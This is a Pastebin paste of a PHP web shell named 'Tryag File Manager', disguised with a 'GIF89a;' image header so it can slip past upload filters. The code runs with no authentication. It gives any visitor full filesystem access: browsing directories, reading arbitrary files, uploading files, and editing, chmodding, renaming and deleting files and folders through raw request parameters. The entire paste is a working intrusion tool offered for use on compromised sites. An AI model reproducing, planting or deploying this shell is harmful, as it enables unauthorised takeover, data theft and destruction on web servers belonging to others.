Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.14 KB | None | 0 0
  1. <h5>Tryag File Manager<h5>
  2. GIF89a;<?php
  3. @session_start();
  4. @set_time_limit(0);
  5.  
  6. echo '<!DOCTYPE HTML>
  7. <HTML>
  8. <HEAD>
  9. <title></title>
  10. <style>
  11. body{
  12. font-family: monospace;
  13. font-weight: bold;
  14. font-size: 18px;
  15. background-color: #c5c5c5;
  16. color: #000;
  17. }
  18. #content tr:hover{
  19. background-color: #ccc;
  20. }
  21. #content .first{
  22. background-color: #ccc;
  23. }
  24. #content .first:hover{
  25. background-color: #ccc;
  26. }
  27. table{
  28. border: 3px #000 solid;
  29. }
  30. a{
  31. color: #000;
  32. text-decoration: none;
  33. }
  34. a:hover{
  35. color: #00f;
  36. }
  37. input,select,textarea{
  38. border: 1px #000 solid;
  39. -moz-border-radius: 5px;
  40. -webkit-border-radius:5px;
  41. border-radius:5px;
  42. }
  43. input {
  44. font-size: 18px;
  45. font-weight: bold;
  46. padding: 5px;
  47. }
  48. select {
  49. font-size: 19px
  50. }
  51. textarea {
  52. font-size: 10px
  53. }
  54. td, tr { padding: 2px 5px; }
  55.  
  56. </style>
  57. </HEAD>
  58. <BODY>
  59. <hr width="920" color="black"/>
  60. <hr width="920" color="black"/><center><p><h2>Your IP : ' .$_SERVER["REMOTE_ADDR"]. '</h2></p></center>
  61. <hr width="920" color="black"/>
  62. <table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
  63. <tr><td style="padding: 8px">Current Path : ';
  64. if(isset($_GET['path'])){
  65. $path = $_GET['path'];
  66. }else{
  67. $path = getcwd();
  68. }
  69. $path = str_replace('\\','/',$path);
  70. $paths = explode('/',$path);
  71.  
  72. foreach($paths as $id=>$pat){
  73. if($pat == '' && $id == 0){
  74. $a = true;
  75. echo '<a href="?path=/">/</a>';
  76. continue;
  77. }
  78. if($pat == '') continue;
  79. echo '<a href="?path=';
  80. for($i=0;$i<=$id;$i++){
  81. echo "$paths[$i]";
  82. if($i != $id) echo "/";
  83. }
  84. echo '">'.$pat.'</a>/';
  85. }
  86. echo '</td></tr><tr><td>';
  87. if(isset($_FILES['file'])){
  88. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  89. echo '<font color="green">Upload Success..</font><br />';
  90. }else{
  91. echo '<font color="red">Upload Gagal..</font><br />';
  92. }
  93. }
  94. echo '<form enctype="multipart/form-data" method="POST">
  95. Upload File : <input type="file" name="file" />
  96. <input type="submit" value="Upload" />
  97. </form>
  98. </td></tr>';
  99. if(isset($_GET['filesrc'])){
  100. echo "<tr><td style='padding: 8px'>Current File : ";
  101. echo $_GET['filesrc'];
  102. echo '</tr></td></table><br />';
  103. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  104. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  105. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  106. if($_POST['opt'] == 'chmod'){
  107. if(isset($_POST['perm'])){
  108. if(chmod($_POST['path'],$_POST['perm'])){
  109. echo '<font color="green">Chmod Success..</font><br />';
  110. }else{
  111. echo '<font color="red">Chmod Gagal..</font><br />';
  112. }
  113. }
  114. echo '<form method="POST">
  115. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  116. <input type="hidden" name="path" value="'.$_POST['path'].'">
  117. <input type="hidden" name="opt" value="chmod">
  118. <input type="submit" value="Save" />
  119. </form>';
  120. }elseif($_POST['opt'] == 'rename'){
  121. if(isset($_POST['newname'])){
  122. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  123. echo '<font color="green">Rename Berhasil..</font><br />';
  124. }else{
  125. echo '<font color="red">Rename Gagal..</font><br />';
  126. }
  127. $_POST['name'] = $_POST['newname'];
  128. }
  129. echo '<form method="POST">
  130. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  131. <input type="hidden" name="path" value="'.$_POST['path'].'">
  132. <input type="hidden" name="opt" value="rename">
  133. <input type="submit" value="Save" />
  134. </form>';
  135. }elseif($_POST['opt'] == 'edit'){
  136. if(isset($_POST['src'])){
  137. $fp = fopen($_POST['path'],'w');
  138. if(fwrite($fp,$_POST['src'])){
  139. echo '<font color="green">Edit File Berhasil..</font><br />';
  140. }else{
  141. echo '<font color="red">Edit File Gagal..</font><br />';
  142. }
  143. fclose($fp);
  144. }
  145. echo '<form method="POST">
  146. <textarea cols=130 rows=10 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  147. <input type="hidden" name="path" value="'.$_POST['path'].'">
  148. <input type="hidden" name="opt" value="edit">
  149. <input type="submit" value="Save" />
  150. </form>';
  151. }
  152. echo '</center>';
  153. }else{
  154. echo '</table><br /><center>';
  155. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  156. if($_POST['type'] == 'dir'){
  157. if(rmdir($_POST['path'])){
  158. echo '<font color="green">Delete Directory Berhasil..</font><br />';
  159. }else{
  160. echo '<font color="red">Delete Directory Gagal..</font><br />';
  161. }
  162. }elseif($_POST['type'] == 'file'){
  163. if(unlink($_POST['path'])){
  164. echo '<font color="green">Delete File Berhasil..</font><br />';
  165. }else{
  166. echo '<font color="red">Delete File Gagal..</font><br />';
  167. }
  168. }
  169. }
  170. echo '</center>';
  171. $scandir = scandir($path);
  172. echo '<div id="content"><table width="920" border="1.5px" cellpadding="5" cellspacing="0" align="center">
  173. <tr class="first">
  174. <td><center>Name</center></td>
  175. <td><center>Size</center></td>
  176. <td><center>Permissions</center></td>
  177. <td><center>Options</center></td>
  178. </tr>';
  179.  
  180. foreach($scandir as $dir){
  181. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  182. echo "<tr>
  183. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  184. <td><center>--</center></td>
  185. <td><center>";
  186. if(is_writable("$path/$dir")) echo '<font color="Blue">';
  187. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  188. echo perms("$path/$dir");
  189. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  190.  
  191. echo "</center></td>
  192. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  193. <select name=\"opt\">
  194. <option value=\"\"></option>
  195. <option value=\"delete\">Delete</option>
  196. <option value=\"chmod\">Chmod</option>
  197. <option value=\"rename\">Rename</option>
  198. </select>
  199. <input type=\"hidden\" name=\"type\" value=\"dir\">
  200. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  201. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  202. <input type=\"submit\" value=\"Oke\" />
  203. </form></center></td>
  204. </tr>";
  205. }
  206. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  207. foreach($scandir as $file){
  208. if(!is_file("$path/$file")) continue;
  209. $size = filesize("$path/$file")/1024;
  210. $size = round($size,3);
  211. if($size >= 1024){
  212. $size = round($size/1024,2).' MB';
  213. }else{
  214. $size = $size.' KB';
  215. }
  216.  
  217. echo "<tr>
  218. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  219. <td><center>".$size."</center></td>
  220. <td><center>";
  221. if(is_writable("$path/$file")) echo '<font color="Blue">';
  222. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  223. echo perms("$path/$file");
  224. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  225. echo "</center></td>
  226. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  227. <select name=\"opt\">
  228. <option value=\"\"></option>
  229. <option value=\"delete\">Delete</option>
  230. <option value=\"chmod\">Chmod</option>
  231. <option value=\"rename\">Rename</option>
  232. <option value=\"edit\">Edit</option>
  233. </select>
  234. <input type=\"hidden\" name=\"type\" value=\"file\">
  235. <input type=\"hidden\" name=\"name\" value=\"$file\">
  236. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  237. <input type=\"submit\" value=\"Oke\" />
  238. </form></center></td>
  239. </tr>";
  240. }
  241. echo '</table>
  242. </div>';
  243. }
  244. echo '<center><hr width="920" color="black"/> <center>
  245. </BODY>
  246. </HTML>';
  247. function perms($file){
  248. $perms = fileperms($file);
  249.  
  250. if (($perms & 0xC000) == 0xC000) {
  251. // Socket
  252. $info = 's';
  253. } elseif (($perms & 0xA000) == 0xA000) {
  254. // Symbolic Link
  255. $info = 'l';
  256. } elseif (($perms & 0x8000) == 0x8000) {
  257. // Regular
  258. $info = '-';
  259. } elseif (($perms & 0x6000) == 0x6000) {
  260. // Block special
  261. $info = 'b';
  262. } elseif (($perms & 0x4000) == 0x4000) {
  263. // Directory
  264. $info = 'd';
  265. } elseif (($perms & 0x2000) == 0x2000) {
  266. // Character special
  267. $info = 'c';
  268. } elseif (($perms & 0x1000) == 0x1000) {
  269. // FIFO pipe
  270. $info = 'p';
  271. } else {
  272. // Unknown
  273. $info = 'u';
  274. }
  275.  
  276. // Owner
  277. $info .= (($perms & 0x0100) ? 'r' : '-');
  278. $info .= (($perms & 0x0080) ? 'w' : '-');
  279. $info .= (($perms & 0x0040) ?
  280. (($perms & 0x0800) ? 's' : 'x' ) :
  281. (($perms & 0x0800) ? 'S' : '-'));
  282.  
  283. // Group
  284. $info .= (($perms & 0x0020) ? 'r' : '-');
  285. $info .= (($perms & 0x0010) ? 'w' : '-');
  286. $info .= (($perms & 0x0008) ?
  287. (($perms & 0x0400) ? 's' : 'x' ) :
  288. (($perms & 0x0400) ? 'S' : '-'));
  289.  
  290. // World
  291. $info .= (($perms & 0x0004) ? 'r' : '-');
  292. $info .= (($perms & 0x0002) ? 'w' : '-');
  293. $info .= (($perms & 0x0001) ?
  294. (($perms & 0x0200) ? 't' : 'x' ) :
  295. (($perms & 0x0200) ? 'T' : '-'));
  296.  
  297. return $info;
  298. }
  299. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement